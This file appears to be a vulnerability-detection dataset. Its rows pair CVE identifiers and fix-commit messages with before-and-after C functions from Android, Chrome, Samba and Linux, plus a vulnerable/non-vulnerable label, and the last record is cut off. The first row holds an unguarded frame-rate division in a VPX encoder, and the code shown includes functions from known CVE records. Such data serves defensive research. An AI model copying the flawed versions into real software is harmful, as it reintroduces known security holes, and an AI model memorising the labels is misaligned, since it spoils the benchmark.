CVE-2017-0596 | https://www.cvedetails.com/cve/CVE-2017-0596/ | null | https://android.googlesource.com/platform/frameworks/av/+/5443b57cc54f2e46b35246637be26a69e9f493e1 | 5443b57cc54f2e46b35246637be26a69e9f493e1 | codecs: handle onReset() for a few encoders
Test: Run PoC binaries
Bug: 34749392
Bug: 34705519
Change-Id: I3356eb615b0e79272d71d72578d363671038c6dd
| void SoftVPXEncoder::onQueueFilled(OMX_U32 portIndex) {
if (mCodecContext == NULL) {
if (OK != initEncoder()) {
ALOGE("Failed to initialize encoder");
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
return;
}
}
vpx_codec_err_t codec_return;
List<BufferInfo *> &inputBufferInfoQueue = getPortQueue(kInputPortIndex);
List<BufferInfo *> &outputBufferInfoQueue = getPortQueue(kOutputPortIndex);
while (!inputBufferInfoQueue.empty() && !outputBufferInfoQueue.empty()) {
BufferInfo *inputBufferInfo = *inputBufferInfoQueue.begin();
OMX_BUFFERHEADERTYPE *inputBufferHeader = inputBufferInfo->mHeader;
BufferInfo *outputBufferInfo = *outputBufferInfoQueue.begin();
OMX_BUFFERHEADERTYPE *outputBufferHeader = outputBufferInfo->mHeader;
if (inputBufferHeader->nFlags & OMX_BUFFERFLAG_EOS) {
inputBufferInfoQueue.erase(inputBufferInfoQueue.begin());
inputBufferInfo->mOwnedByUs = false;
notifyEmptyBufferDone(inputBufferHeader);
outputBufferHeader->nFilledLen = 0;
outputBufferHeader->nFlags = OMX_BUFFERFLAG_EOS;
outputBufferInfoQueue.erase(outputBufferInfoQueue.begin());
outputBufferInfo->mOwnedByUs = false;
notifyFillBufferDone(outputBufferHeader);
return;
}
const uint8_t *source =
inputBufferHeader->pBuffer + inputBufferHeader->nOffset;
size_t frameSize = mWidth * mHeight * 3 / 2;
if (mInputDataIsMeta) {
source = extractGraphicBuffer(
mConversionBuffer, frameSize,
source, inputBufferHeader->nFilledLen,
mWidth, mHeight);
if (source == NULL) {
ALOGE("Unable to extract gralloc buffer in metadata mode");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
}
} else {
if (inputBufferHeader->nFilledLen < frameSize) {
android_errorWriteLog(0x534e4554, "27569635");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
} else if (inputBufferHeader->nFilledLen > frameSize) {
ALOGW("Input buffer contains too many pixels");
}
if (mColorFormat == OMX_COLOR_FormatYUV420SemiPlanar) {
ConvertYUV420SemiPlanarToYUV420Planar(
source, mConversionBuffer, mWidth, mHeight);
source = mConversionBuffer;
}
}
vpx_image_t raw_frame;
vpx_img_wrap(&raw_frame, VPX_IMG_FMT_I420, mWidth, mHeight,
kInputBufferAlignment, (uint8_t *)source);
vpx_enc_frame_flags_t flags = 0;
if (mTemporalPatternLength > 0) {
flags = getEncodeFlags();
}
if (mKeyFrameRequested) {
flags |= VPX_EFLAG_FORCE_KF;
mKeyFrameRequested = false;
}
if (mBitrateUpdated) {
mCodecConfiguration->rc_target_bitrate = mBitrate/1000;
vpx_codec_err_t res = vpx_codec_enc_config_set(mCodecContext,
mCodecConfiguration);
if (res != VPX_CODEC_OK) {
ALOGE("vp8 encoder failed to update bitrate: %s",
vpx_codec_err_to_string(res));
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
}
mBitrateUpdated = false;
}
uint32_t frameDuration;
if (inputBufferHeader->nTimeStamp > mLastTimestamp) {
frameDuration = (uint32_t)(inputBufferHeader->nTimeStamp - mLastTimestamp);
} else {
// Use default of 30 fps in case of 0 frame rate.
uint32_t framerate = mFramerate ?: (30 << 16);
frameDuration = (uint32_t)(((uint64_t)1000000 << 16) / framerate);
}
mLastTimestamp = inputBufferHeader->nTimeStamp;
codec_return = vpx_codec_encode(
mCodecContext,
&raw_frame,
inputBufferHeader->nTimeStamp, // in timebase units
frameDuration, // frame duration in timebase units
flags, // frame flags
VPX_DL_REALTIME); // encoding deadline
if (codec_return != VPX_CODEC_OK) {
ALOGE("vpx encoder failed to encode frame");
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
return;
}
vpx_codec_iter_t encoded_packet_iterator = NULL;
const vpx_codec_cx_pkt_t* encoded_packet;
while ((encoded_packet = vpx_codec_get_cx_data(
mCodecContext, &encoded_packet_iterator))) {
if (encoded_packet->kind == VPX_CODEC_CX_FRAME_PKT) {
outputBufferHeader->nTimeStamp = encoded_packet->data.frame.pts;
outputBufferHeader->nFlags = 0;
if (encoded_packet->data.frame.flags & VPX_FRAME_IS_KEY)
outputBufferHeader->nFlags |= OMX_BUFFERFLAG_SYNCFRAME;
outputBufferHeader->nOffset = 0;
outputBufferHeader->nFilledLen = encoded_packet->data.frame.sz;
if (outputBufferHeader->nFilledLen > outputBufferHeader->nAllocLen) {
android_errorWriteLog(0x534e4554, "27569635");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
}
memcpy(outputBufferHeader->pBuffer,
encoded_packet->data.frame.buf,
encoded_packet->data.frame.sz);
outputBufferInfo->mOwnedByUs = false;
outputBufferInfoQueue.erase(outputBufferInfoQueue.begin());
notifyFillBufferDone(outputBufferHeader);
}
}
inputBufferInfo->mOwnedByUs = false;
inputBufferInfoQueue.erase(inputBufferInfoQueue.begin());
notifyEmptyBufferDone(inputBufferHeader);
}
}
| void SoftVPXEncoder::onQueueFilled(OMX_U32 portIndex) {
if (mCodecContext == NULL) {
if (OK != initEncoder()) {
ALOGE("Failed to initialize encoder");
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
return;
}
}
vpx_codec_err_t codec_return;
List<BufferInfo *> &inputBufferInfoQueue = getPortQueue(kInputPortIndex);
List<BufferInfo *> &outputBufferInfoQueue = getPortQueue(kOutputPortIndex);
while (!inputBufferInfoQueue.empty() && !outputBufferInfoQueue.empty()) {
BufferInfo *inputBufferInfo = *inputBufferInfoQueue.begin();
OMX_BUFFERHEADERTYPE *inputBufferHeader = inputBufferInfo->mHeader;
BufferInfo *outputBufferInfo = *outputBufferInfoQueue.begin();
OMX_BUFFERHEADERTYPE *outputBufferHeader = outputBufferInfo->mHeader;
if (inputBufferHeader->nFlags & OMX_BUFFERFLAG_EOS) {
inputBufferInfoQueue.erase(inputBufferInfoQueue.begin());
inputBufferInfo->mOwnedByUs = false;
notifyEmptyBufferDone(inputBufferHeader);
outputBufferHeader->nFilledLen = 0;
outputBufferHeader->nFlags = OMX_BUFFERFLAG_EOS;
outputBufferInfoQueue.erase(outputBufferInfoQueue.begin());
outputBufferInfo->mOwnedByUs = false;
notifyFillBufferDone(outputBufferHeader);
return;
}
const uint8_t *source =
inputBufferHeader->pBuffer + inputBufferHeader->nOffset;
size_t frameSize = mWidth * mHeight * 3 / 2;
if (mInputDataIsMeta) {
source = extractGraphicBuffer(
mConversionBuffer, frameSize,
source, inputBufferHeader->nFilledLen,
mWidth, mHeight);
if (source == NULL) {
ALOGE("Unable to extract gralloc buffer in metadata mode");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
}
} else {
if (inputBufferHeader->nFilledLen < frameSize) {
android_errorWriteLog(0x534e4554, "27569635");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
} else if (inputBufferHeader->nFilledLen > frameSize) {
ALOGW("Input buffer contains too many pixels");
}
if (mColorFormat == OMX_COLOR_FormatYUV420SemiPlanar) {
ConvertYUV420SemiPlanarToYUV420Planar(
source, mConversionBuffer, mWidth, mHeight);
source = mConversionBuffer;
}
}
vpx_image_t raw_frame;
vpx_img_wrap(&raw_frame, VPX_IMG_FMT_I420, mWidth, mHeight,
kInputBufferAlignment, (uint8_t *)source);
vpx_enc_frame_flags_t flags = 0;
if (mTemporalPatternLength > 0) {
flags = getEncodeFlags();
}
if (mKeyFrameRequested) {
flags |= VPX_EFLAG_FORCE_KF;
mKeyFrameRequested = false;
}
if (mBitrateUpdated) {
mCodecConfiguration->rc_target_bitrate = mBitrate/1000;
vpx_codec_err_t res = vpx_codec_enc_config_set(mCodecContext,
mCodecConfiguration);
if (res != VPX_CODEC_OK) {
ALOGE("vp8 encoder failed to update bitrate: %s",
vpx_codec_err_to_string(res));
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
}
mBitrateUpdated = false;
}
uint32_t frameDuration;
if (inputBufferHeader->nTimeStamp > mLastTimestamp) {
frameDuration = (uint32_t)(inputBufferHeader->nTimeStamp - mLastTimestamp);
} else {
frameDuration = (uint32_t)(((uint64_t)1000000 << 16) / mFramerate);
}
mLastTimestamp = inputBufferHeader->nTimeStamp;
codec_return = vpx_codec_encode(
mCodecContext,
&raw_frame,
inputBufferHeader->nTimeStamp, // in timebase units
frameDuration, // frame duration in timebase units
flags, // frame flags
VPX_DL_REALTIME); // encoding deadline
if (codec_return != VPX_CODEC_OK) {
ALOGE("vpx encoder failed to encode frame");
notify(OMX_EventError,
OMX_ErrorUndefined,
0, // Extra notification data
NULL); // Notification data pointer
return;
}
vpx_codec_iter_t encoded_packet_iterator = NULL;
const vpx_codec_cx_pkt_t* encoded_packet;
while ((encoded_packet = vpx_codec_get_cx_data(
mCodecContext, &encoded_packet_iterator))) {
if (encoded_packet->kind == VPX_CODEC_CX_FRAME_PKT) {
outputBufferHeader->nTimeStamp = encoded_packet->data.frame.pts;
outputBufferHeader->nFlags = 0;
if (encoded_packet->data.frame.flags & VPX_FRAME_IS_KEY)
outputBufferHeader->nFlags |= OMX_BUFFERFLAG_SYNCFRAME;
outputBufferHeader->nOffset = 0;
outputBufferHeader->nFilledLen = encoded_packet->data.frame.sz;
if (outputBufferHeader->nFilledLen > outputBufferHeader->nAllocLen) {
android_errorWriteLog(0x534e4554, "27569635");
notify(OMX_EventError, OMX_ErrorUndefined, 0, 0);
return;
}
memcpy(outputBufferHeader->pBuffer,
encoded_packet->data.frame.buf,
encoded_packet->data.frame.sz);
outputBufferInfo->mOwnedByUs = false;
outputBufferInfoQueue.erase(outputBufferInfoQueue.begin());
notifyFillBufferDone(outputBufferHeader);
}
}
inputBufferInfo->mOwnedByUs = false;
inputBufferInfoQueue.erase(inputBufferInfoQueue.begin());
notifyEmptyBufferDone(inputBufferHeader);
}
}
| C | Android | 1 |
CVE-2016-0850 | https://www.cvedetails.com/cve/CVE-2016-0850/ | CWE-264 | https://android.googlesource.com/platform/external/bluetooth/bluedroid/+/c677ee92595335233eb0e7b59809a1a94e7a678a | c677ee92595335233eb0e7b59809a1a94e7a678a | DO NOT MERGE Remove Porsche car-kit pairing workaround
Bug: 26551752
Change-Id: I14c5e3fcda0849874c8a94e48aeb7d09585617e1
| static void btm_send_link_key_notif (tBTM_SEC_DEV_REC *p_dev_rec)
{
if (btm_cb.api.p_link_key_callback)
(*btm_cb.api.p_link_key_callback) (p_dev_rec->bd_addr, p_dev_rec->dev_class,
p_dev_rec->sec_bd_name, p_dev_rec->link_key,
p_dev_rec->link_key_type);
}
| static void btm_send_link_key_notif (tBTM_SEC_DEV_REC *p_dev_rec)
{
if (btm_cb.api.p_link_key_callback)
(*btm_cb.api.p_link_key_callback) (p_dev_rec->bd_addr, p_dev_rec->dev_class,
p_dev_rec->sec_bd_name, p_dev_rec->link_key,
p_dev_rec->link_key_type);
}
| C | Android | 0 |
CVE-2018-6033 | https://www.cvedetails.com/cve/CVE-2018-6033/ | CWE-20 | https://github.com/chromium/chromium/commit/a8d6ae61d266d8bc44c3dd2d08bda32db701e359 | a8d6ae61d266d8bc44c3dd2d08bda32db701e359 | Downloads : Fixed an issue of opening incorrect download file
When one download overwrites another completed download, calling download.open in the old download causes the new download to open, which could be dangerous and undesirable. In this CL, we are trying to avoid this by blocking the opening of the old download.
Bug: 793620
Change-Id: Ic948175756700ad7c08489c3cc347330daedb6f8
Reviewed-on: https://chromium-review.googlesource.com/826477
Reviewed-by: David Trainor <dtrainor@chromium.org>
Reviewed-by: Xing Liu <xingliu@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Commit-Queue: Shakti Sahu <shaktisahu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#525810} | void DownloadManagerImpl::AddUrlDownloadHandler(
UniqueUrlDownloadHandlerPtr downloader) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (downloader)
url_download_handlers_.push_back(std::move(downloader));
}
| void DownloadManagerImpl::AddUrlDownloadHandler(
UniqueUrlDownloadHandlerPtr downloader) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (downloader)
url_download_handlers_.push_back(std::move(downloader));
}
| C | Chrome | 0 |
CVE-2017-7376 | https://www.cvedetails.com/cve/CVE-2017-7376/ | CWE-119 | https://android.googlesource.com/platform/external/libxml2/+/51e0cb2e5ec18eaf6fb331bc573ff27b743898f4 | 51e0cb2e5ec18eaf6fb331bc573ff27b743898f4 | DO NOT MERGE: Use correct limit for port values
no upstream report yet, add it here when we have it
issue found & patch by nmehta@
Bug: 36555370
Change-Id: Ibf1efea554b95f514e23e939363d608021de4614
(cherry picked from commit b62884fb49fe92081e414966d9b5fe58250ae53c)
| xmlParse3986DecOctet(const char **str) {
const char *cur = *str;
if (!(ISA_DIGIT(cur)))
return(1);
if (!ISA_DIGIT(cur+1))
cur++;
else if ((*cur != '0') && (ISA_DIGIT(cur + 1)) && (!ISA_DIGIT(cur+2)))
cur += 2;
else if ((*cur == '1') && (ISA_DIGIT(cur + 1)) && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) >= '0') &&
(*(cur + 1) <= '4') && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) == '5') &&
(*(cur + 2) >= '0') && (*(cur + 1) <= '5'))
cur += 3;
else
return(1);
*str = cur;
return(0);
}
| xmlParse3986DecOctet(const char **str) {
const char *cur = *str;
if (!(ISA_DIGIT(cur)))
return(1);
if (!ISA_DIGIT(cur+1))
cur++;
else if ((*cur != '0') && (ISA_DIGIT(cur + 1)) && (!ISA_DIGIT(cur+2)))
cur += 2;
else if ((*cur == '1') && (ISA_DIGIT(cur + 1)) && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) >= '0') &&
(*(cur + 1) <= '4') && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) == '5') &&
(*(cur + 2) >= '0') && (*(cur + 1) <= '5'))
cur += 3;
else
return(1);
*str = cur;
return(0);
}
| C | Android | 0 |
CVE-2015-1213 | https://www.cvedetails.com/cve/CVE-2015-1213/ | CWE-119 | https://github.com/chromium/chromium/commit/faaa2fd0a05f1622d9a8806da118d4f3b602e707 | faaa2fd0a05f1622d9a8806da118d4f3b602e707 | [Blink>Media] Allow autoplay muted on Android by default
There was a mistake causing autoplay muted is shipped on Android
but it will be disabled if the chromium embedder doesn't specify
content setting for "AllowAutoplay" preference. This CL makes the
AllowAutoplay preference true by default so that it is allowed by
embedders (including AndroidWebView) unless they explicitly
disable it.
Intent to ship:
https://groups.google.com/a/chromium.org/d/msg/blink-dev/Q1cnzNI2GpI/AL_eyUNABgAJ
BUG=689018
Review-Url: https://codereview.chromium.org/2677173002
Cr-Commit-Position: refs/heads/master@{#448423} | void HTMLMediaElement::activateViewportIntersectionMonitoring(bool activate) {
if (activate && !m_checkViewportIntersectionTimer.isActive()) {
m_checkViewportIntersectionTimer.startRepeating(
kCheckViewportIntersectionIntervalSeconds, BLINK_FROM_HERE);
} else if (!activate) {
m_checkViewportIntersectionTimer.stop();
}
}
| void HTMLMediaElement::activateViewportIntersectionMonitoring(bool activate) {
if (activate && !m_checkViewportIntersectionTimer.isActive()) {
m_checkViewportIntersectionTimer.startRepeating(
kCheckViewportIntersectionIntervalSeconds, BLINK_FROM_HERE);
} else if (!activate) {
m_checkViewportIntersectionTimer.stop();
}
}
| C | Chrome | 0 |
CVE-2014-7906 | https://www.cvedetails.com/cve/CVE-2014-7906/ | CWE-399 | https://github.com/chromium/chromium/commit/3a2cf7d1376ae33054b878232fb38b8fbed29e31 | 3a2cf7d1376ae33054b878232fb38b8fbed29e31 | Pepper: Access PepperMediaDeviceManager through a WeakPtr
Its lifetime is scoped to the RenderFrame, and it might go away before the
hosts that refer to it.
BUG=423030
Review URL: https://codereview.chromium.org/653243003
Cr-Commit-Position: refs/heads/master@{#299897} | void PepperMediaDeviceManager::CancelOpenDevice(int request_id) {
open_callbacks_.erase(request_id);
#if defined(ENABLE_WEBRTC)
GetMediaStreamDispatcher()->CancelOpenDevice(request_id, AsWeakPtr());
#endif
}
| void PepperMediaDeviceManager::CancelOpenDevice(int request_id) {
open_callbacks_.erase(request_id);
#if defined(ENABLE_WEBRTC)
GetMediaStreamDispatcher()->CancelOpenDevice(request_id, AsWeakPtr());
#endif
}
| C | Chrome | 0 |
CVE-2014-1743 | https://www.cvedetails.com/cve/CVE-2014-1743/ | CWE-399 | https://github.com/chromium/chromium/commit/6d9425ec7badda912555d46ea7abcfab81fdd9b9 | 6d9425ec7badda912555d46ea7abcfab81fdd9b9 | sync compositor: pass simple gfx types by const ref
See bug for reasoning
BUG=159273
Review URL: https://codereview.chromium.org/1417893006
Cr-Commit-Position: refs/heads/master@{#356653} | void BrowserViewRenderer::OnAttachedToWindow(int width, int height) {
TRACE_EVENT2("android_webview",
"BrowserViewRenderer::OnAttachedToWindow",
"width",
width,
"height",
height);
attached_to_window_ = true;
size_.SetSize(width, height);
UpdateCompositorIsActive();
}
| void BrowserViewRenderer::OnAttachedToWindow(int width, int height) {
TRACE_EVENT2("android_webview",
"BrowserViewRenderer::OnAttachedToWindow",
"width",
width,
"height",
height);
attached_to_window_ = true;
size_.SetSize(width, height);
UpdateCompositorIsActive();
}
| C | Chrome | 0 |
CVE-2017-5019 | https://www.cvedetails.com/cve/CVE-2017-5019/ | CWE-416 | https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93 | f03ea5a5c2ff26e239dfd23e263b15da2d9cee93 | Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137} | void RenderFrameHostImpl::UpdateFrameFrozenState() {
if (!base::FeatureList::IsEnabled(features::kFreezeFramesOnVisibility))
return;
if (is_loading_)
return;
if (visibility_ == blink::mojom::FrameVisibility::kNotRendered) {
frame_->SetLifecycleState(blink::mojom::FrameLifecycleState::kFrozen);
} else if (visibility_ ==
blink::mojom::FrameVisibility::kRenderedOutOfViewport) {
frame_->SetLifecycleState(
blink::mojom::FrameLifecycleState::kFrozenAutoResumeMedia);
} else {
frame_->SetLifecycleState(blink::mojom::FrameLifecycleState::kRunning);
}
}
| void RenderFrameHostImpl::UpdateFrameFrozenState() {
if (!base::FeatureList::IsEnabled(features::kFreezeFramesOnVisibility))
return;
if (is_loading_)
return;
if (visibility_ == blink::mojom::FrameVisibility::kNotRendered) {
frame_->SetLifecycleState(blink::mojom::FrameLifecycleState::kFrozen);
} else if (visibility_ ==
blink::mojom::FrameVisibility::kRenderedOutOfViewport) {
frame_->SetLifecycleState(
blink::mojom::FrameLifecycleState::kFrozenAutoResumeMedia);
} else {
frame_->SetLifecycleState(blink::mojom::FrameLifecycleState::kRunning);
}
}
| C | Chrome | 0 |
CVE-2015-5330 | https://www.cvedetails.com/cve/CVE-2015-5330/ | CWE-200 | https://git.samba.org/?p=samba.git;a=commit;h=0454b95657846fcecf0f51b6f1194faac02518bd | 0454b95657846fcecf0f51b6f1194faac02518bd | null | int ldb_dn_set_component(struct ldb_dn *dn, int num,
const char *name, const struct ldb_val val)
{
char *n;
struct ldb_val v;
if ( ! ldb_dn_validate(dn)) {
return LDB_ERR_OTHER;
}
if (num >= dn->comp_num) {
return LDB_ERR_OTHER;
}
n = talloc_strdup(dn, name);
if ( ! n) {
return LDB_ERR_OTHER;
}
v.length = val.length;
v.data = (uint8_t *)talloc_memdup(dn, val.data, v.length+1);
if ( ! v.data) {
talloc_free(n);
return LDB_ERR_OTHER;
}
talloc_free(dn->components[num].name);
talloc_free(dn->components[num].value.data);
dn->components[num].name = n;
dn->components[num].value = v;
if (dn->valid_case) {
unsigned int i;
for (i = 0; i < dn->comp_num; i++) {
LDB_FREE(dn->components[i].cf_name);
LDB_FREE(dn->components[i].cf_value.data);
}
dn->valid_case = false;
}
LDB_FREE(dn->casefold);
LDB_FREE(dn->linearized);
/* Wipe the ext_linearized DN,
* the GUID and SID are almost certainly no longer valid */
LDB_FREE(dn->ext_linearized);
LDB_FREE(dn->ext_components);
dn->ext_comp_num = 0;
return LDB_SUCCESS;
}
| int ldb_dn_set_component(struct ldb_dn *dn, int num,
const char *name, const struct ldb_val val)
{
char *n;
struct ldb_val v;
if ( ! ldb_dn_validate(dn)) {
return LDB_ERR_OTHER;
}
if (num >= dn->comp_num) {
return LDB_ERR_OTHER;
}
n = talloc_strdup(dn, name);
if ( ! n) {
return LDB_ERR_OTHER;
}
v.length = val.length;
v.data = (uint8_t *)talloc_memdup(dn, val.data, v.length+1);
if ( ! v.data) {
talloc_free(n);
return LDB_ERR_OTHER;
}
talloc_free(dn->components[num].name);
talloc_free(dn->components[num].value.data);
dn->components[num].name = n;
dn->components[num].value = v;
if (dn->valid_case) {
unsigned int i;
for (i = 0; i < dn->comp_num; i++) {
LDB_FREE(dn->components[i].cf_name);
LDB_FREE(dn->components[i].cf_value.data);
}
dn->valid_case = false;
}
LDB_FREE(dn->casefold);
LDB_FREE(dn->linearized);
/* Wipe the ext_linearized DN,
* the GUID and SID are almost certainly no longer valid */
LDB_FREE(dn->ext_linearized);
LDB_FREE(dn->ext_components);
dn->ext_comp_num = 0;
return LDB_SUCCESS;
}
| C | samba | 0 |
CVE-2016-4578 | https://www.cvedetails.com/cve/CVE-2016-4578/ | CWE-200 | https://github.com/torvalds/linux/commit/e4ec8cc8039a7063e24204299b462bd1383184a5 | e4ec8cc8039a7063e24204299b462bd1383184a5 | ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt
The stack object “r1” has a total size of 32 bytes. Its field
“event” and “val” both contain 4 bytes padding. These 8 bytes
padding bytes are sent to user without being initialized.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: Takashi Iwai <tiwai@suse.de> | static int snd_timer_user_params(struct file *file,
struct snd_timer_params __user *_params)
{
struct snd_timer_user *tu;
struct snd_timer_params params;
struct snd_timer *t;
struct snd_timer_read *tr;
struct snd_timer_tread *ttr;
int err;
tu = file->private_data;
if (!tu->timeri)
return -EBADFD;
t = tu->timeri->timer;
if (!t)
return -EBADFD;
if (copy_from_user(¶ms, _params, sizeof(params)))
return -EFAULT;
if (!(t->hw.flags & SNDRV_TIMER_HW_SLAVE) && params.ticks < 1) {
err = -EINVAL;
goto _end;
}
if (params.queue_size > 0 &&
(params.queue_size < 32 || params.queue_size > 1024)) {
err = -EINVAL;
goto _end;
}
if (params.filter & ~((1<<SNDRV_TIMER_EVENT_RESOLUTION)|
(1<<SNDRV_TIMER_EVENT_TICK)|
(1<<SNDRV_TIMER_EVENT_START)|
(1<<SNDRV_TIMER_EVENT_STOP)|
(1<<SNDRV_TIMER_EVENT_CONTINUE)|
(1<<SNDRV_TIMER_EVENT_PAUSE)|
(1<<SNDRV_TIMER_EVENT_SUSPEND)|
(1<<SNDRV_TIMER_EVENT_RESUME)|
(1<<SNDRV_TIMER_EVENT_MSTART)|
(1<<SNDRV_TIMER_EVENT_MSTOP)|
(1<<SNDRV_TIMER_EVENT_MCONTINUE)|
(1<<SNDRV_TIMER_EVENT_MPAUSE)|
(1<<SNDRV_TIMER_EVENT_MSUSPEND)|
(1<<SNDRV_TIMER_EVENT_MRESUME))) {
err = -EINVAL;
goto _end;
}
snd_timer_stop(tu->timeri);
spin_lock_irq(&t->lock);
tu->timeri->flags &= ~(SNDRV_TIMER_IFLG_AUTO|
SNDRV_TIMER_IFLG_EXCLUSIVE|
SNDRV_TIMER_IFLG_EARLY_EVENT);
if (params.flags & SNDRV_TIMER_PSFLG_AUTO)
tu->timeri->flags |= SNDRV_TIMER_IFLG_AUTO;
if (params.flags & SNDRV_TIMER_PSFLG_EXCLUSIVE)
tu->timeri->flags |= SNDRV_TIMER_IFLG_EXCLUSIVE;
if (params.flags & SNDRV_TIMER_PSFLG_EARLY_EVENT)
tu->timeri->flags |= SNDRV_TIMER_IFLG_EARLY_EVENT;
spin_unlock_irq(&t->lock);
if (params.queue_size > 0 &&
(unsigned int)tu->queue_size != params.queue_size) {
if (tu->tread) {
ttr = kmalloc(params.queue_size * sizeof(*ttr),
GFP_KERNEL);
if (ttr) {
kfree(tu->tqueue);
tu->queue_size = params.queue_size;
tu->tqueue = ttr;
}
} else {
tr = kmalloc(params.queue_size * sizeof(*tr),
GFP_KERNEL);
if (tr) {
kfree(tu->queue);
tu->queue_size = params.queue_size;
tu->queue = tr;
}
}
}
tu->qhead = tu->qtail = tu->qused = 0;
if (tu->timeri->flags & SNDRV_TIMER_IFLG_EARLY_EVENT) {
if (tu->tread) {
struct snd_timer_tread tread;
memset(&tread, 0, sizeof(tread));
tread.event = SNDRV_TIMER_EVENT_EARLY;
tread.tstamp.tv_sec = 0;
tread.tstamp.tv_nsec = 0;
tread.val = 0;
snd_timer_user_append_to_tqueue(tu, &tread);
} else {
struct snd_timer_read *r = &tu->queue[0];
r->resolution = 0;
r->ticks = 0;
tu->qused++;
tu->qtail++;
}
}
tu->filter = params.filter;
tu->ticks = params.ticks;
err = 0;
_end:
if (copy_to_user(_params, ¶ms, sizeof(params)))
return -EFAULT;
return err;
}
| static int snd_timer_user_params(struct file *file,
struct snd_timer_params __user *_params)
{
struct snd_timer_user *tu;
struct snd_timer_params params;
struct snd_timer *t;
struct snd_timer_read *tr;
struct snd_timer_tread *ttr;
int err;
tu = file->private_data;
if (!tu->timeri)
return -EBADFD;
t = tu->timeri->timer;
if (!t)
return -EBADFD;
if (copy_from_user(¶ms, _params, sizeof(params)))
return -EFAULT;
if (!(t->hw.flags & SNDRV_TIMER_HW_SLAVE) && params.ticks < 1) {
err = -EINVAL;
goto _end;
}
if (params.queue_size > 0 &&
(params.queue_size < 32 || params.queue_size > 1024)) {
err = -EINVAL;
goto _end;
}
if (params.filter & ~((1<<SNDRV_TIMER_EVENT_RESOLUTION)|
(1<<SNDRV_TIMER_EVENT_TICK)|
(1<<SNDRV_TIMER_EVENT_START)|
(1<<SNDRV_TIMER_EVENT_STOP)|
(1<<SNDRV_TIMER_EVENT_CONTINUE)|
(1<<SNDRV_TIMER_EVENT_PAUSE)|
(1<<SNDRV_TIMER_EVENT_SUSPEND)|
(1<<SNDRV_TIMER_EVENT_RESUME)|
(1<<SNDRV_TIMER_EVENT_MSTART)|
(1<<SNDRV_TIMER_EVENT_MSTOP)|
(1<<SNDRV_TIMER_EVENT_MCONTINUE)|
(1<<SNDRV_TIMER_EVENT_MPAUSE)|
(1<<SNDRV_TIMER_EVENT_MSUSPEND)|
(1<<SNDRV_TIMER_EVENT_MRESUME))) {
err = -EINVAL;
goto _end;
}
snd_timer_stop(tu->timeri);
spin_lock_irq(&t->lock);
tu->timeri->flags &= ~(SNDRV_TIMER_IFLG_AUTO|
SNDRV_TIMER_IFLG_EXCLUSIVE|
SNDRV_TIMER_IFLG_EARLY_EVENT);
if (params.flags & SNDRV_TIMER_PSFLG_AUTO)
tu->timeri->flags |= SNDRV_TIMER_IFLG_AUTO;
if (params.flags & SNDRV_TIMER_PSFLG_EXCLUSIVE)
tu->timeri->flags |= SNDRV_TIMER_IFLG_EXCLUSIVE;
if (params.flags & SNDRV_TIMER_PSFLG_EARLY_EVENT)
tu->timeri->flags |= SNDRV_TIMER_IFLG_EARLY_EVENT;
spin_unlock_irq(&t->lock);
if (params.queue_size > 0 &&
(unsigned int)tu->queue_size != params.queue_size) {
if (tu->tread) {
ttr = kmalloc(params.queue_size * sizeof(*ttr),
GFP_KERNEL);
if (ttr) {
kfree(tu->tqueue);
tu->queue_size = params.queue_size;
tu->tqueue = ttr;
}
} else {
tr = kmalloc(params.queue_size * sizeof(*tr),
GFP_KERNEL);
if (tr) {
kfree(tu->queue);
tu->queue_size = params.queue_size;
tu->queue = tr;
}
}
}
tu->qhead = tu->qtail = tu->qused = 0;
if (tu->timeri->flags & SNDRV_TIMER_IFLG_EARLY_EVENT) {
if (tu->tread) {
struct snd_timer_tread tread;
memset(&tread, 0, sizeof(tread));
tread.event = SNDRV_TIMER_EVENT_EARLY;
tread.tstamp.tv_sec = 0;
tread.tstamp.tv_nsec = 0;
tread.val = 0;
snd_timer_user_append_to_tqueue(tu, &tread);
} else {
struct snd_timer_read *r = &tu->queue[0];
r->resolution = 0;
r->ticks = 0;
tu->qused++;
tu->qtail++;
}
}
tu->filter = params.filter;
tu->ticks = params.ticks;
err = 0;
_end:
if (copy_to_user(_params, ¶ms, sizeof(params)))
return -EFAULT;
return err;
}
| C | linux | 0 |
CVE-2011-1476 | https://www.cvedetails.com/cve/CVE-2011-1476/ | CWE-189 | https://github.com/torvalds/linux/commit/b769f49463711205d57286e64cf535ed4daf59e9 | b769f49463711205d57286e64cf535ed4daf59e9 | sound/oss: remove offset from load_patch callbacks
